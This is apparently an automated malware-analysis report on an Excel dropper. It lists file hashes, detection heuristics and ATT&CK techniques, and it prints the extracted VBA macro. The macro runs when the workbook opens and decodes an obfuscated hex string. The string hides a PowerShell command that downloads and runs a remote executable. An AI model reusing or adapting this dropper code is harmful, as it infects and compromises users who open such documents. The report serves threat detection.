Xls.Dropper.Agent-9091187-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 2cb072d9fcc9413a…

MALICIOUS

Office (OLE)

616.5 KB Created: 2020-07-24 15:01:52 Authoring application: Microsoft Excel First seen: 2020-09-15
MD5: 6cb7256dde8c6cf09fc82b7f75fd18ad SHA-1: 9b5bb3f2fda7a6e316a210942d0d65d1e877761d SHA-256: 2cb072d9fcc9413a91b245513366c7bb52bfec2638f67c158520c2854e264208
224 Risk Score

Malware Insights

Xls.Dropper.Agent-9091187-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The file is an Excel macro-enabled document containing a Workbook_Open macro. This macro calls a function that decodes a hex string and then executes it via the Shell() function. This indicates the file is a dropper designed to download and execute a second-stage payload. The ClamAV detection name further supports this assessment.

Heuristics 7

  • ClamAV: Xls.Dropper.Agent-9091187-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-9091187-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/pdf/1.3/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1480 bytes
SHA-256: 4faae1afe98db0bf683209a4702d1c84883ab30f6923a02586096a345443d3f2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public Sub Workbook_Open()
Dim asd As String
Shell hello("808A813D4C803D8D8C94828F90858289894B8295823D4A829582809291868C8B8D8C898680963D7F968D7E90903D4A743D65868181828B3D4A808C8A8A7E8B813D458B82944A8C7F878280913D70969091828A4B6B82914B74827F608986828B91464B618C948B898C7E816386898245448591918D574C4C858C818F804B8C8F844C8C914C908C8992914B829582444941828B935771828A8D484479908C899291824B829582444658456B82944A6C7F878280913D4A808C8A3D70858289894B5E8D8D8986807E91868C8B464B7085828989629582809291824541828B935771828A8D484479908C899291824B8295824446")
End Sub
  Function hello(hlole As String)
        Dim holle As Integer
        Dim i As Integer
        Dim holel
        holle = 11111
        holel = ""
        For i = 1 To Len(hlole) Step 2
            holel = holel + Chr(CLng("&H" & Mid(hlole, i, 2)) - 29)
        Next
        hello = holel
    End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.